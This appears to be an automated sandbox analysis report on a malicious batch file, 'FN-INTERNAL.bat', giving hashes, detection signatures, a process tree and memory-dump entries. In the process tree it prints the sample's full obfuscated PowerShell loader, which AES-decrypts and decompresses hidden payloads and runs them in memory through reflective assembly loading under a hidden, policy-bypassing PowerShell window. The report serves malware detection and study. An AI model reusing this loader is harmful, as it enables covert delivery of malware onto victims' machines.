Analysis

  • max time kernel
    1561s
  • max time network
    1562s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    26-05-2024 14:55

General

  • Target

    FN-INTERNAL.bat

  • Size

    376KB

  • MD5

    121a69448e9f5eef0ba4c1229b471208

  • SHA1

    90abf42b20fb75a7f922b4a83cbeb77ca5dbf5d0

  • SHA256

    b383a0ab3670e505ae0b7a7b6d68c096bb799ce858d8afc2e2ef5d1c1314051a

  • SHA512

    c9e903245c3ab434018e23e4c51bf9d4fcbdb9dc1b85114574c12a2ce5c3ec6cd811fa1b51a34c86c695c6ba79cade1cdc215c4953090a342ba4ff6c1a92bc3d

  • SSDEEP

    6144:C+g8ai0m+BiS0FY9tRpUOAIeJxsOjzW1JlW5nHa5EV8hpzjHRQbh9xph9aK7PGaj:C+gdOSOYbRHjeJxbOJlW5niJSdT9amGk

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Windows\system32\cmd.exe
      cmd /c "set __=^&rem"
      2⤵
        PID:1148
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('97S5HKOOEHVTK1tx3yu5lTndq7VoLhaiBMi1fQ7XC/w='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BY/5WS5SKbagLrml3T2b0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ERsLU=New-Object System.IO.MemoryStream(,$param_var); $BcZuZ=New-Object System.IO.MemoryStream; $aYIjw=New-Object System.IO.Compression.GZipStream($ERsLU, [IO.Compression.CompressionMode]::Decompress); $aYIjw.CopyTo($BcZuZ); $aYIjw.Dispose(); $ERsLU.Dispose(); $BcZuZ.Dispose(); $BcZuZ.ToArray();}function execute_function($param_var,$param2_var){ $WzoGX=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uXAck=$WzoGX.EntryPoint; $uXAck.Invoke($null, $param2_var);}$FVRVU = 'C:\Users\Admin\AppData\Local\Temp\FN-INTERNAL.bat';$host.UI.RawUI.WindowTitle = $FVRVU;$gLqRi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($FVRVU).Split([Environment]::NewLine);foreach ($pQPCS in $gLqRi) { if ($pQPCS.StartsWith('VPEeCHQfOWHyYXzmlFZZ')) { $YmBxU=$pQPCS.Substring(20); break; }}$payloads_var=[string[]]$YmBxU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        2⤵
          PID:1144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1196

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • memory/1196-4-0x000007FEF5B0E000-0x000007FEF5B0F000-memory.dmp

        Filesize

        4KB

      • memory/1196-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

        Filesize

        2.9MB

      • memory/1196-6-0x0000000001F00000-0x0000000001F08000-memory.dmp

        Filesize

        32KB

      • memory/1196-7-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

        Filesize

        9.6MB

      • memory/1196-8-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

        Filesize

        9.6MB

      • memory/1196-9-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

        Filesize

        9.6MB

      • memory/1196-10-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

        Filesize

        9.6MB

      • memory/1196-11-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

        Filesize

        9.6MB

      • memory/1196-12-0x000007FEF5850000-0x000007FEF61ED000-memory.dmp

        Filesize

        9.6MB

      • memory/1196-13-0x000007FEF5B0E000-0x000007FEF5B0F000-memory.dmp

        Filesize

        4KB